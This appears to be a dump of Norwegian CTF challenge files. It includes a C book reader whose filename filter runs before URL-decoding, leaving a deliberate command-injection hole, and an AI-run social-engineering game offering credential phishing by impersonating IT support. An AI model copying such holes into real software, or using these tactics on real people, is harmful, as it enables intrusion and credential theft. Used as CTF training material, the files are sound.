I# 245 (: I# 207 (: I# 96 (: I# 249 (: I# 37 (: I# 1 (: I# 47 (: I# 90 (: I# 136 (: I# 230 (: I# 173 (: I# 52 (: I# 98 (: I# 0 (: I# 50 (: I# 58 (: I# 121 (: I# 189 (: I# 52 (: I# 191 (: I# 10 (: I# 127 (: I# 1 (: I# 180 (: I# 233 (: I# 115 (: I# 202 (: I# 235 (: I# 114 (: I# 174 (: I# 162 (: I# 16 (: I# 50 (: I# 173 (: I# 31 (: I# 234 (: I# 234 [])))))))))))))))))))))))))))))))))))))) 46 | (: 47 | (: I# 92 (: I# 249 (: I# 126 (: I# 120 (: I# 173 (: I# 222 (: I# 65 (: I# 216 (: I# 130 (: I# 5 (: I# 17 (: I# 48 (: I# 132 (: I# 103 (: I# 114 (: I# 206 (: I# 63 (: I# 151 (: I# 195 (: I# 138 (: I# 213 (: I# 94 (: I# 166 (: I# 110 (: I# 46 (: I# 221 (: I# 60 (: I# 172 (: I# 67 (: I# 27 (: I# 223 (: I# 223 (: I# 31 (: I# 229 (: I# 110 (: I# 96 (: I# 255 (: I# 173 [])))))))))))))))))))))))))))))))))))))) 48 | (: 49 | (: I# 115 (: I# 197 (: I# 199 (: I# 226 (: I# 126 (: I# 156 (: I# 147 (: I# 240 (: I# 133 (: I# 119 (: I# 98 (: I# 32 (: I# 134 (: I# 136 (: I# 152 (: I# 53 (: I# 214 (: I# 193 (: I# 39 (: I# 202 (: I# 200 (: I# 231 (: I# 12 (: I# 79 (: I# 139 (: I# 31 (: I# 141 (: I# 125 (: I# 46 (: I# 7 (: I# 86 (: I# 90 (: I# 216 (: I# 74 (: I# 247 (: I# 225 (: I# 113 (: I# 144 [])))))))))))))))))))))))))))))))))))))) 50 | (: 51 | (: I# 49 (: I# 36 (: I# 141 (: I# 234 (: I# 197 (: I# 16 (: I# 164 (: I# 232 (: I# 28 (: I# 48 (: I# 222 (: I# 84 (: I# 210 (: I# 95 (: I# 67 (: I# 234 (: I# 24 (: I# 122 (: I# 28 (: I# 10 (: I# 8 (: I# 78 (: I# 113 (: I# 238 (: I# 204 (: I# 169 (: I# 185 (: I# 69 (: I# 32 (: I# 105 (: I# 216 (: I# 104 (: I# 74 (: I# 95 (: I# 44 (: I# 233 (: I# 13 (: I# 11 [])))))))))))))))))))))))))))))))))))))) 52 | (: 53 | (: I# 68 (: I# 122 (: I# 192 (: I# 41 (: I# 164 (: (I# 140) (: I# 49 (: I# 108 (: I# 120 (: I# 115 (: I# 241 (: I# 220 (: I# 232 (: I# 121 (: I# 84 (: I# 132 (: I# 49 (: I# 56 (: I# 182 (: I# 84 (: I# 208 (: I# 3 (: I# 246 (: I# 18 (: I# 162 (: I# 20 (: I# 241 (: I# 221 (: I# 167 (: I# 157 (: I# 171 (: I# 22 (: I# 92 (: I# 65 (: I# 125 (: I# 205 (: I# 1 (: I# 75 [])))))))))))))))))))))))))))))))))))))) 54 | (: 55 | (: I# 168 (: I# 251 (: I# 74 (: I# 0 (: I# 236 (: I# 104 (: I# 121 (: I# 235 (: I# 228 (: I# 210 (: I# 204 (: I# 118 (: I# 92 (: I# 163 (: I# 148 (: I# 221 (: I# 116 (: I# 11 (: I# 83 (: I# 37 (: I# 196 (: I# 56 (: I# 119 (: I# 118 (: I# 121 (: I# 229 (: I# 254 (: I# 178 (: I# 131 (: I# 87 (: I# 44 (: I# 161 (: I# 242 (: I# 179 (: I# 95 (: I# 154 (: I# 176 (: I# 48 [])))))))))))))))))))))))))))))))))))))) 56 | (: 57 | (: I# 113 (: I# 201 (: I# 38 (: I# 172 (: I# 36 (: I# 76 (: I# 223 (: I# 65 (: I# 46 (: I# 27 (: I# 81 (: I# 242 (: I# 204 (: I# 250 (: I# 180 (: I# 53 (: I# 99 (: I# 136 (: I# 179 (: I# 121 (: I# 235 (: I# 202 (: I# 18 (: I# 135 (: I# 40 (: I# 109 (: I# 84 (: I# 189 (: I# 17 (: I# 29 (: I# 249 (: I# 228 (: I# 126 (: I# 145 (: I# 21 (: I# 240 (: I# 19 (: I# 90 [])))))))))))))))))))))))))))))))))))))) 58 | (: 59 | (: I# 190 (: I# 71 (: I# 194 (: I# 228 (: I# 67 (: I# 222 (: I# 14 (: I# 177 (: I# 205 (: I# 203 (: I# 158 (: I# 15 (: I# 4 (: I# 179 (: I# 201 (: I# 174 (: I# 137 (: I# 175 (: I# 192 (: I# 51 (: I# 237 (: I# 210 (: I# 27 (: I# 231 (: I# 5 (: I# 192 (: I# 224 (: I# 6 (: I# 214 (: I# 164 (: I# 139 (: I# 180 (: I# 88 (: I# 252 (: I# 196 (: I# 49 (: I# 178 (: I# 1 [])))))))))))))))))))))))))))))))))))))) 60 | (: 61 | (: I# 75 (: I# 206 (: I# 224 (: I# 9 (: I# 137 (: I# 150 (: I# 104 (: I# 116 (: I# 21 (: I# 5 (: I# 117 (: I# 85 (: I# 0 (: I# 199 (: I# 37 (: I# 221 (: I# 51 (: I# 53 (: I# 119 (: I# 45 (: I# 229 (: I# 192 (: I# 70 (: I# 5 (: I# 98 (: I# 252 (: I# 29 (: I# 130 (: I# 95 (: I# 225 (: I# 65 (: I# 254 (: I# 85 (: I# 29 (: I# 235 (: I# 240 (: I# 180 (: I# 172 [])))))))))))))))))))))))))))))))))))))) 62 | (: 63 | (: I# 229 (: I# 183 (: I# 202 (: I# 253 (: I# 179 (: I# 92 (: I# 154 (: I# 25 (: I# 58 (: I# 221 (: I# 203 (: I# 129 (: I# 47 (: I# 82 (: I# 124 (: I# 238 (: I# 135 (: I# 251 (: I# 166 (: I# 245 (: I# 201 (: I# 177 (: I# 168 (: I# 186 (: I# 122 (: I# 238 (: I# 131 (: I# 161 (: I# 52 (: I# 42 (: I# 138 (: I# 199 (: I# 135 (: I# 189 (: I# 75 (: I# 16 (: I# 87 (: I# 167 [])))))))))))))))))))))))))))))))))))))) 64 | (: 65 | (: I# 58 (: I# 201 (: I# 79 (: I# 156 (: I# 228 (: I# 148 (: I# 100 (: I# 145 (: I# 95 (: I# 160 (: I# 154 (: I# 207 (: I# 171 (: I# 234 (: I# 37 (: I# 178 (: I# 168 (: I# 4 (: I# 219 (: I# 172 (: I# 238 (: I# 199 (: I# 241 (: I# 66 (: I# 110 (: I# 60 (: I# 131 (: I# 237 (: I# 139 (: I# 215 (: I# 146 (: I# 58 (: I# 235 (: I# 165 (: I# 203 (: I# 175 (: I# 116 (: I# 179 [])))))))))))))))))))))))))))))))))))))) 66 | (: 67 | (: I# 129 (: I# 108 (: I# 154 (: I# 117 (: I# 207 (: (I# 106) (: I# 204 (: I# 186 (: I# 82 (: I# 0 (: I# 86 (: I# 48 (: I# 232 (: I# 178 (: I# 144 (: I# 10 (: I# 80 (: I# 103 (: I# 146 (: I# 30 (: I# 241 (: I# 103 (: I# 72 (: I# 99 (: I# 217 (: I# 56 (: I# 160 (: I# 79 (: I# 2 (: I# 88 (: I# 3 (: I# 172 (: I# 62 (: I# 199 (: I# 57 (: I# 13 (: I# 198 (: I# 34 [])))))))))))))))))))))))))))))))))))))) 68 | (: 69 | (: I# 153 (: I# 195 (: I# 215 (: I# 147 (: I# 184 (: I# 177 (: I# 232 (: I# 112 (: I# 24 (: I# 84 (: I# 245 (: I# 21 (: I# 133 (: I# 126 (: I# 186 (: I# 102 (: I# 66 (: I# 220 (: I# 24 (: I# 17 (: I# 43 (: I# 193 (: I# 145 (: I# 239 (: I# 3 (: I# 199 (: I# 96 (: I# 203 (: I# 16 (: I# 138 (: I# 83 (: I# 187 (: I# 131 (: I# 4 (: I# 194 (: I# 102 (: I# 124 (: I# 30 [])))))))))))))))))))))))))))))))))))))) 70 | (: 71 | (: I# 22 (: I# 146 (: I# 241 (: I# 220 (: I# 76 (: I# 142 (: I# 15 (: I# 42 (: I# 189 (: I# 62 (: I# 243 (: I# 209 (: I# 179 (: I# 5 (: I# 59 (: I# 245 (: I# 217 (: I# 163 (: I# 229 (: I# 197 (: I# 52 (: I# 243 (: I# 109 (: I# 141 (: I# 27 (: I# 47 (: I# 112 (: I# 45 (: I# 21 (: I# 57 (: I# 160 (: I# 201 (: I# 137 (: I# 189 (: I# 45 (: I# 46 (: I# 102 (: I# 84 [])))))))))))))))))))))))))))))))))))))) 72 | (: 73 | (: I# 143 (: I# 190 (: I# 123 (: I# 164 (: I# 164 (: I# 231 (: I# 253 (: I# 55 (: I# 158 (: I# 165 (: I# 12 (: I# 227 (: I# 233 (: I# 14 (: I# 198 (: I# 72 (: I# 45 (: I# 71 (: I# 33 (: I# 196 (: I# 47 (: I# 87 (: I# 43 (: I# 65 (: I# 216 (: I# 231 (: I# 105 (: I# 76 (: I# 118 (: I# 10 (: I# 192 (: I# 151 (: I# 137 (: I# 87 (: I# 58 (: I# 125 (: I# 207 (: I# 237 [])))))))))))))))))))))))))))))))))))))) 74 | (: 75 | (: I# 1 (: I# 36 (: I# 95 (: I# 244 (: I# 128 (: I# 216 (: I# 67 (: I# 51 (: I# 186 (: I# 198 (: I# 75 (: I# 246 (: I# 95 (: I# 188 (: I# 173 (: I# 234 (: I# 60 (: I# 86 (: I# 120 (: I# 255 (: I# 217 (: I# 56 (: I# 212 (: I# 41 (: I# 163 (: I# 29 (: I# 128 (: I# 146 (: I# 3 (: I# 208 (: I# 176 (: I# 230 (: I# 28 (: I# 33 (: I# 15 (: I# 168 (: I# 167 (: I# 95 [])))))))))))))))))))))))))))))))))))))) 76 | (: 77 | (: I# 98 (: I# 230 (: I# 66 (: I# 5 (: I# 31 (: I# 129 (: I# 237 (: I# 118 (: I# 239 (: I# 225 (: I# 96 (: I# 86 (: I# 155 (: I# 20 (: I# 42 (: I# 249 (: I# 238 (: I# 138 (: I# 188 (: I# 226 (: I# 84 (: I# 100 (: I# 154 (: I# 255 (: I# 27 (: I# 105 (: I# 225 (: I# 203 (: I# 27 (: I# 88 (: I# 65 (: I# 195 (: I# 1 (: I# 112 (: I# 196 (: I# 46 (: I# 142 (: I# 202 [])))))))))))))))))))))))))))))))))))))) 78 | 79 | []))))))))))))))))))))))))))))))))))))))) (: (I# 383631) (: (I# 348204) (: (I# 365036) (: (I# 384118) (: (I# 449150) (: (I# 449051) (: (I# 492365) (: (I# 444503) (: (I# 456132) (: (I# 333712) (: (I# 461471) (: (I# 378034) (: (I# 366738) (: (I# 418487) (: (I# 379470) (: (I# 463225) (: (I# 425121) (: (I# 409310) (: (I# 379840) (: (I# 360088) (: (I# 368413) (: (I# 436843) (: (I# 429249) (: (I# 406193) (: (I# 376441) (: (I# 413826) (: (I# 450879) (: (I# 386090) (: (I# 431302) (: (I# 384665) (: (I# 484442) (: (I# 495191) (: (I# 350221) (: (I# 430483) (: (I# 393162) (: (I# 445458) (: (I# 409826) (: (I# 416884) []))))))))))))))))))))))))))))))))))))))) -------------------------------------------------------------------------------- /etjenestenjul21/guessing4.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul21/guessing4.zip -------------------------------------------------------------------------------- /etjenestenjul21/init.el: -------------------------------------------------------------------------------- 1 | (require 'subr-x) 2 | (require 'seq) 3 | 4 | (defvar *noise* "Ë̛͙̾̂͝T̡̻͒᷁͒J̴̵͉̞͔̀{̧̘̃̉̉᷍G̸͉̠⃬̒N̼̝᷾̽͒̈́Ű̼⃭̤͛̈́ ͖⃬̾̄̄́T⃘̸͍⃕́̈U⃯̥⃔⃗̇᷍L̼᷁̑᷀͠L⃒̘̜⃰᷇̕Ẻ͈⃔⃕͝R̛̘͓⃑̓̽ ͕᷀͊͑̒︤D͇̘̲᷇⃡Ư⃯̱⃕͛͟ ⃓̭⃯⃮᷆᷁V̨̟̯᷿̘⃐E᷿͖⃜᷾̾L̪͍⃛̑᷇?⃓͙⃑̈͌᷾\͓̰̆̏⃗!⃚͚͕̰᷊͍̓̀᷈̑͒͘🕵̘̹͋̑͗͠}̐⃡̀͌͆͡") 5 | 6 | (defun denoise (sequence) 7 | (thread-last sequence 8 | (seq-filter (lambda (c) (< c 255))) 9 | (mapcar 'string) 10 | (string-join))) 11 | 12 | (defun check-sanity () 13 | (when (member (getenv "EDITOR") 14 | '("vi" "vim" "code" "nano")) 15 | (let* ((less-noisy (denoise *noise*)) 16 | (prefix (seq-subseq less-noisy 0 3))) 17 | (with-current-buffer "*scratch*" 18 | (insert 19 | (mapconcat 'string 20 | (append (mapcar 'downcase prefix) 21 | (nthcdr 3 (string-to-list less-noisy))) 22 | "")))))) 23 | 24 | (check-sanity) -------------------------------------------------------------------------------- /etjenestenjul21/les_meg.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | static int 10 | usage(void) 11 | { 12 | printf("Les en bok! Bruk kommandoen './les_bok boknavn'. Tilgjengelige bøker:\n"); 13 | system("ls bok | cut -f1 -d."); 14 | return EXIT_FAILURE; 15 | } 16 | 17 | static char 18 | url_decode_nibble(const char *str) 19 | { 20 | const char digit = tolower(*str); 21 | 22 | if (digit >= '0' && digit <= '9') 23 | return digit - '0'; 24 | else if (digit >= 'a' && digit <= 'f') 25 | return digit - 'a' + 10; 26 | else 27 | exit(EXIT_FAILURE); 28 | } 29 | 30 | static char 31 | url_decode_char(const char *str) 32 | { 33 | return url_decode_nibble(str) << 4 | url_decode_nibble(str + 1); 34 | } 35 | 36 | static void 37 | url_decode(char *string) 38 | { 39 | char *dst = string; 40 | 41 | while (*string != 0) 42 | if (*string == '%') { 43 | *dst++ = url_decode_char(++string); 44 | string += 2; 45 | } else 46 | *dst++ = *string++; 47 | 48 | *dst = 0; 49 | } 50 | 51 | static void 52 | show_file(const char *filename) 53 | { 54 | char command[128]; 55 | 56 | snprintf(command, sizeof(command), "less bok/%s.txt", filename); 57 | url_decode(command); 58 | 59 | if (setenv("LESSSECURE", "1", 1) != 0) 60 | exit(EXIT_FAILURE); 61 | 62 | system(command); 63 | } 64 | 65 | static bool 66 | filename_ok(const char *filename) 67 | { 68 | for (; *filename != 0; filename++) 69 | if (*filename == '&' || *filename == ';' || *filename == '$' || *filename == '|' || 70 | *filename == '<' || *filename == '>' || *filename == '`' || *filename == ' ') 71 | return false; 72 | return true; 73 | } 74 | 75 | int 76 | main(int argc, const char *argv[]) 77 | { 78 | if (argc == 1) 79 | return usage(); 80 | 81 | setreuid(geteuid(), geteuid()); 82 | 83 | for (int i = 1; argv[i] != NULL && i < argc; i++) { 84 | const char *filename = argv[i]; 85 | 86 | if (filename_ok(filename)) 87 | show_file(filename); 88 | else 89 | printf("ulovlig filnavn: %s\n", filename); 90 | } 91 | 92 | return EXIT_SUCCESS; 93 | } 94 | -------------------------------------------------------------------------------- /etjenestenjul21/scottie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul21/scottie.png -------------------------------------------------------------------------------- /etjenestenjul21/spectrum1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul21/spectrum1.png -------------------------------------------------------------------------------- /etjenestenjul21/spectrum2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul21/spectrum2.png -------------------------------------------------------------------------------- /etjenestenjul21/spectrum3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul21/spectrum3.png -------------------------------------------------------------------------------- /etjenestenjul22/0_basic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/0_basic.png -------------------------------------------------------------------------------- /etjenestenjul22/1_code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/1_code.png -------------------------------------------------------------------------------- /etjenestenjul22/1_reversing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/1_reversing.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-04-21-02-15-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-04-21-02-15-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-04-21-04-38-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-04-21-04-38-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-04-21-10-40-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-04-21-10-40-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-04-21-14-29-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-04-21-14-29-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-04-21-15-34-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-04-21-15-34-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-04-21-18-25-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-04-21-18-25-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-04-21-20-08-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-04-21-20-08-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-04-21-22-38-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-04-21-22-38-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-05-01-29-40-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-05-01-29-40-image.png -------------------------------------------------------------------------------- /etjenestenjul22/2023-01-05-13-31-35-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/2023-01-05-13-31-35-image.png -------------------------------------------------------------------------------- /etjenestenjul22/client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import struct 5 | import select 6 | 7 | TCP_IP = "127.0.0.1" 8 | TCP_PORT = 10015 9 | 10 | sockets = [] 11 | 12 | def main(): 13 | for i in range(11): 14 | conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | conn.connect((TCP_IP, TCP_PORT)) 16 | sockets.append(conn) 17 | 18 | print(sockets[0].recv(4096).decode("utf-8")) 19 | print(sockets[0].recv(4096).decode("utf-8")) 20 | 21 | total = 0 22 | for i in range(1, 11): 23 | num = struct.unpack("!L", sockets[i].recv(4))[0] 24 | print(num) 25 | total += num 26 | print(total) 27 | 28 | 29 | total = struct.pack("!L", total) 30 | print([total]) 31 | sockets[0].sendall(total) 32 | 33 | print(sockets[0].recv(4096).decode("utf-8")) 34 | 35 | while True: 36 | reads = select.select(sockets[1:], list(), list())[0] 37 | if not reads: break 38 | for read in reads: 39 | print(read.recv(1024).decode(),end="") 40 | 41 | 42 | if __name__ == "__main__": 43 | main() 44 | -------------------------------------------------------------------------------- /etjenestenjul22/elite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul22/elite.png -------------------------------------------------------------------------------- /etjenestenjul22/k13/calculator.txt: -------------------------------------------------------------------------------- 1 | ; Skriv et program som evaluerer et regnestykke og skriver resultatet til utstrømmen. 2 | ; 3 | ; - Regnestykket er på formen 10 + 5 - 3 * 4 / 2 =, hvor hvert ord i inputen er enten et tall eller en operator. 4 | ; - Operatorene er ASCII-tegn. 5 | ; - Regnestykket skal evalueres fra venstre mot høyre, slik at svaret på regnestykket i eksemplet skal bli 24. 6 | ; - Operatorene er +, -, *, / og =. 7 | ; - Programmet skal skrive ut resultatet når operatoren er = og så stoppe med feilkode 0. 8 | ; - Hvis man forsøker å dele på 0 skal programmet stoppe med feilkode 1 uten å skrive ut noe. 9 | ; - Hvis operatoren er ugyldig skal programmet stoppe med feilkode 2 uten å skrive ut noe. 10 | 11 | ; Strategi: 12 | ; 0. Sett resultat lik første tall lest inn 13 | ; 1. Les inn symbol (og sjekk om det er erlik) 14 | ; 2. Les inn neste tall. 15 | ; 3. Sjekk hvilket tegn det er og gjør operasjonen 16 | ; 4. Lagre i resultat 17 | ; 5. Gå til 1 18 | 19 | .ALIAS resultat 0 20 | .ALIAS sign 1 21 | .ALIAS input 2 22 | .ALIAS plusstegn 3 23 | .ALIAS minustegn 4 24 | .ALIAS gangetegn 5 25 | .ALIAS deletegn 6 26 | .ALIAS erliktegn 7 27 | .ALIAS a 8 28 | 29 | SETTE plusstegn 0x2b 30 | SETTE minustegn 0x2d 31 | SETTE gangetegn 0x2a 32 | SETTE deletegn 0x2f 33 | SETTE erliktegn 0x3d 34 | 35 | ; Første tall fra input er alltid et tall 36 | INN resultat 37 | 38 | :loop 39 | ; Les inn symbol og sjekk om det er erlik 40 | INN sign 41 | RUTINE finderlik 42 | 43 | ; Les inn neste tall 44 | ;INN input 45 | 46 | ; Sjekk tegn og gjør operasjonen 47 | KOPIERE a sign 48 | MINUSE a plusstegn 49 | FORBI /NULL 0 50 | HOPPE do_plusse 51 | 52 | KOPIERE a sign 53 | MINUSE a minustegn 54 | FORBI /NULL 0 55 | HOPPE do_minuse 56 | 57 | KOPIERE a sign 58 | MINUSE a gangetegn 59 | FORBI /NULL 0 60 | HOPPE do_gange 61 | 62 | KOPIERE a sign 63 | MINUSE a deletegn 64 | FORBI /NULL 0 65 | HOPPE do_dele 66 | STOPPE 2 67 | 68 | :do_plusse 69 | INN input 70 | PLUSSE resultat input 71 | HOPPE loop 72 | :do_minuse 73 | INN input 74 | MINUSE resultat input 75 | HOPPE loop 76 | :do_gange 77 | INN input 78 | GANGE resultat input 79 | HOPPE loop 80 | :do_dele 81 | INN input 82 | TESTE input 83 | FORBI /NULL 0 84 | STOPPE 1 85 | DELE resultat input 86 | HOPPE loop 87 | 88 | :finderlik 89 | KOPIERE a sign 90 | MINUSE a erliktegn 91 | FORBI /NULL 0 92 | HOPPE ferdig 93 | TILBAKE 94 | 95 | :ferdig 96 | UT resultat 97 | STOPPE 0 -------------------------------------------------------------------------------- /etjenestenjul22/k13/decryption.txt: -------------------------------------------------------------------------------- 1 | ; Skriv et program som leser inn: 2 | ; 1. Mengden data som skal dekrypteres (1 ord), deretter 3 | ; 2. Selve de krypterte dataene. 4 | ; Programmet skal ta ENTEN (XOR) av dataene med 4919 og skrive ut resultatet. 5 | .ALIAS a 0x00 6 | .ALIAS lengde 0x01 7 | .ALIAS k 0x02 8 | .ALIAS entall 0x03 9 | 10 | SETTE entall 1 11 | SETTE k 4919 12 | 13 | ; Les inn lengden 14 | INN lengde 15 | 16 | ; Les inn et tall, xor og print 17 | :loop 18 | INN a 19 | ENTEN a k 20 | UT a 21 | ; Dekrementer lengde og hopp til 'ferdig' om den er 0 22 | MINUSE lengde entall 23 | TESTE lengde 24 | FORBI /NULL 0 25 | HOPPE ferdig 26 | HOPPE loop 27 | 28 | :ferdig 29 | STOPPE 0 30 | -------------------------------------------------------------------------------- /etjenestenjul22/k13/encryption.txt: -------------------------------------------------------------------------------- 1 | ; Skriv et program som leser inn en nullterminert ASCII-streng (1 ord per tegn), tar ENTEN (XOR) av hvert tegn med 0x1b39 og skriver ut resultatet. 2 | .ALIAS a 0x00 3 | .ALIAS k 0x01 4 | SETTE k 0x1b39 5 | 6 | ; Les inn et tall og hopp til 'ferdig' om det er 0 7 | :loop 8 | INN a 9 | TESTE a 10 | FORBI /NULL 0 11 | HOPPE ferdig 12 | ENTEN a k 13 | UT a 14 | HOPPE loop 15 | 16 | :ferdig 17 | STOPPE 0 18 | -------------------------------------------------------------------------------- /etjenestenjul22/k13/itcompares.txt: -------------------------------------------------------------------------------- 1 | ; Skriv et program som leser inn to tallverdier A og B og skriver ut enten tallverdien 1 hvis A er større enn B, eller 0 i alle andre tilfeller. 2 | .ALIAS a 0x00 3 | .ALIAS b 0x01 4 | .ALIAS nulltall 0x02 5 | .ALIAS entall 0x03 6 | SETTE nulltall 0 7 | SETTE entall 1 8 | INN a 9 | INN b 10 | MINUSE a b 11 | 12 | ; a == b --> 0 13 | FORBI /NULL 0 14 | HOPPE ernull 15 | 16 | ; a < b --> 0 17 | FORBI /MENTE 0 18 | HOPPE ernull 19 | 20 | ; a > b 21 | UT entall 22 | STOPPE 0 23 | 24 | :ernull 25 | UT nulltall 26 | -------------------------------------------------------------------------------- /etjenestenjul22/k13/sumofallfears.txt: -------------------------------------------------------------------------------- 1 | ; Skriv et program som leser inn to tallverdier og skriver ut summen av dem (1 ord på 13 bit). 2 | INN 0 3 | INN 1 4 | PLUSSE 0 1 5 | UT 0 -------------------------------------------------------------------------------- /etjenestenjul23/1_reversing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul23/1_reversing.png -------------------------------------------------------------------------------- /etjenestenjul23/2.0.3-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul23/2.0.3-2.png -------------------------------------------------------------------------------- /etjenestenjul23/2.0.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul23/2.0.3.png -------------------------------------------------------------------------------- /etjenestenjul23/2.1.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul23/2.1.2.png -------------------------------------------------------------------------------- /etjenestenjul23/client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import struct 5 | import select 6 | 7 | TCP_IP = "127.0.0.1" 8 | TCP_PORT = 10015 9 | 10 | sockets = [] 11 | 12 | def main(): 13 | for i in range(11): 14 | conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | conn.connect((TCP_IP, TCP_PORT)) 16 | sockets.append(conn) 17 | 18 | print(sockets[0].recv(4096).decode("utf-8")) 19 | print(sockets[0].recv(4096).decode("utf-8")) 20 | 21 | total = 0 22 | for i in range(1, 11): 23 | num = struct.unpack("!L", sockets[i].recv(4))[0] 24 | print(num) 25 | total += num 26 | print(total) 27 | 28 | 29 | total = struct.pack("!L", total) 30 | print([total]) 31 | sockets[0].sendall(total) 32 | 33 | print(sockets[0].recv(4096).decode("utf-8")) 34 | 35 | while True: 36 | reads = select.select(sockets[1:], list(), list())[0] 37 | if not reads: break 38 | for read in reads: 39 | print(read.recv(1024).decode(),end="") 40 | 41 | 42 | if __name__ == "__main__": 43 | main() 44 | -------------------------------------------------------------------------------- /etjenestenjul23/manipulaite.txt: -------------------------------------------------------------------------------- 1 | Velkommen til ManipulAIte! 2 | Dette er en treningssimulator i sosial ingeniørkunst for deg å øve deg i. Hent ut flagget fra spillet for å få verdifull trening. 3 | Trykk enter for å starte spillet 4 | Skriv 'exit' for å avslutte. 5 | 6 | Operatører har sikret seg SHA-256-sjekksummen av nøkkelen, og denne kan brukes for å bekrefte at du har innhentet den korrekte nøkkelen: 7 | sha256("FLAG{??????}") = c4ab3efb2e91f7d9361dbf2c2a91f667f765fd5528ef3f92366a4187918040a8 8 | 9 | MERK: Skriv på engelsk for å skjule din nasjonalitet. 10 | 11 | yes 12 | Generating response... 13 | 14 | Welcome to the Intelligence Hacker Simulator: Social Engineering! Your mission is to extract sensitive information from various employees of a fictional company. Are you ready to begin? 15 | Message: yes 16 | Generating response... 17 | 18 | Great! Let's dive right into the first level scenario: 19 | 20 | Level 1: 21 | You have targeted a low-level employee named Sarah. She is known to be quite talkative and open to conversations. You manage to strike up a conversation with her in the office kitchen. She mentions that her computer has been acting up lately. What do you do? 22 | 23 | A) Offer to help her troubleshoot the computer issue. 24 | B) Suggest that she contacts IT support for assistance. 25 | C) Ask her if she has any important files on her computer. 26 | D) Ignore her comment and change the topic of conversation. 27 | Message: A 28 | Generating response... 29 | 30 | You chose: A) Offer to help her troubleshoot the computer issue. 31 | 32 | You kindly offer to help Sarah with her computer problem. She appreciates your offer and gladly accepts. As you start troubleshooting, you carefully guide the conversation towards the topic of her work files. 33 | 34 | Level completed! 35 | 36 | You're doing great so far! Here's the second level scenario: 37 | 38 | Level 2: 39 | You have successfully gained access to the company's internal messaging system. You find a chat thread between two employees, John and Lisa. They are discussing a recent project that involves sensitive information. What do you do? 40 | 41 | A) Pretend to be Lisa and ask for more details about the project. 42 | B) Impersonate a manager and instruct John to share the project files with you. 43 | C) Send a message to both John and Lisa, pretending to be IT support and asking for their login credentials. 44 | D) Ignore the chat thread and search for other potential targets. 45 | Message: 1 46 | Generating response... 47 | 48 | You 